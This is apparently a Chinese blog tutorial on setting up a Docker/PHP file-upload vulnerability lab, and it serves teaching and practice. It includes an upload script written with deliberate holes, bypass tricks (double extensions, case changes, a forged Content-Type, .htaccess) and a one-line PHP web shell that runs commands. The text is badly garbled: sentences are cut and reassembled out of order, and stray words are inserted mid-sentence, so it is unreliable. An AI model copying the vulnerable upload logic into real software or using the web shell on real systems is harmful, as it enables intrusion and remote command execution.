文件上传靶场搭建
文件上传靶场的文件核心就一件事:给你一个能随便折腾的上传接口,让你把各种绕过手法全试一遍。上传我搭过不下十个这类环境,靶场最省事的搭建方案还是Docker加PHP,十分钟能跑起来,文件比在虚拟机里配Apache省心太多。上传 先说环境。靶场Ubuntu 22.04,搭建装好docker和docker-compose,文件剩下的上传交给镜像。我习惯用 目录结构我这样摆: Dockerfile就三行: 那个 docker-compose.yml更简单: 挂载卷是为了改代码不用重新build,直接刷新页面就行。端口用8080,免得跟本机已有的80冲突。 接下来是核心的index.php。我写了个最基础的上传逻辑,带黑名单过滤,方便演示绕过: 这段代码故意留了三个漏洞:黑名单不全、没校验MIME、没重命名文件。你拿 flag.php放个简单的: 上传一个内容为 有个细节容易翻车:Apache默认不解析 最后提一嘴,这种靶场别放公网。我去年在测试环境里挂了个类似的,第二天就被扫到,日志里全是 跑起来后访问php:7.4-apache这个基础镜像,靶场原因是搭建它对老版本的函数兼容性好,比如move_uploaded_file配合$_FILES的文件经典写法不会出幺蛾子。别用php8,上传某些靶场代码里的靶场ereg或者mysql_*函数直接报错,调试起来烦人。upload-lab/ ├── docker-compose.yml ├── src/ │ ├── index.php │ ├── uploads/ │ └── flag.php └── DockerfileFROM php:7.4-apache RUN docker-php-ext-install exif COPY src/ /var/www/html/ RUN chmod -R 777 /var/www/html/uploadschmod 777别嫌粗暴,靶场要的就是上传后的文件能被Web访问到,权限卡太死反而绕不过去。我见过有人把uploads目录设成755,结果上传的php文件执行不了,白折腾半天。version: '3' services: web: build: . ports: - "8080:80" volumes: - ./src:/var/www/html<?php $upload_dir = 'uploads/'; $blacklist = array('php', 'php3', 'php4', 'php5', 'phtml'); if ($_FILES) { $filename = $_FILES['file']['name']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (in_array(strtolower($ext), $blacklist)) { die('不允许的文件类型'); } $dest = $upload_dir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { echo "上传成功: $dest"; } } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="上传"> </form>shell.php.jpg或者shell.pHp就能绕过去。我试过用Burp改Content-Type为image/jpeg,配合.htaccess文件让jpg被解析成php,效果一样好。<?php echo 'flag{ upload_bypass_success}'; ?><?php system($_GET['cmd']); ?>的shell,访问uploads/shell.php?cmd=cat flag.php,拿到flag就算通关。.php.jpg这种双后缀,你得确认mod_php加载了。我习惯在Dockerfile里加一句RUN a2enmod php7.4,虽然官方镜像默认开了,但手动确认一下不亏。POST /uploads/shell.php的请求。本地玩玩就行,真要共享,加个basic auth或者限制内网IP。http://localhost:8080,上传、抓包、改后缀,一套流程走完,你对文件上传漏洞的理解会比看十篇文章都扎实。
-
上一篇
-
下一篇